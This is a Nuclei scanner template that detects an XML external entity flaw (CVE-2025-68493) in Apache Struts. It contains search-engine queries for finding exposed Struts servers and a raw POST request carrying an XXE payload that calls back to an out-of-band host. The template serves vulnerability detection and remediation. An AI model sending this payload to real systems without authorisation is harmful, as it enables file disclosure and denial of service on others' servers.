Apache Struts XWork - XML External Entity Injection

id: CVE-2025-68493

info:
  name: Apache Struts XWork - XML External Entity Injection
  author: pussycat0x
  severity: high
  description: |
    Apache Struts 2.0.0 < 2.2.1 and 2.2.1 <= versions <= 6.1.0 contain an XML external entity injection caused by missing XML validation, letting attackers potentially disclose files or cause denial of service, exploit requires crafted XML input
  impact: |
    Attackers can disclose sensitive files or cause denial of service by exploiting XML processing.
  remediation: |
    Upgrade to version 6.1.1.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-069
    - https://github.com/hsltz/CVE-2025-68493
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
    cvss-score: 8.1
    cve-id: CVE-2025-68493
    cwe-id: CWE-611
    epss-score: 0.39504
    epss-percentile: 0.98502
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"Apache Struts"
      - http.html:"struts problem report"
      - http.title:"Struts2 Showcase"
    fofa-query:
      - body="struts problem report"
      - app="apache_struts"
      - title="Struts2 Showcase"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2025,apache,struts,struts2,xxe,oast,oob,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Struts'
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
        Connection: close

        <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{{interactsh-url}}">]><foo>&xxe;</foo>

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
        condition: or
# digest: 4a0a0047304502206d54375a6c3e3d3e5b542aaedd62573678df8f6f8564d5b16381d670ce280b6b022100c9ead8fda1996fe418794dd3b4d9e80087ed39f0a0ef7d1cc74707b3debb9d3f:922c64590222798bb761d5b6d8e72950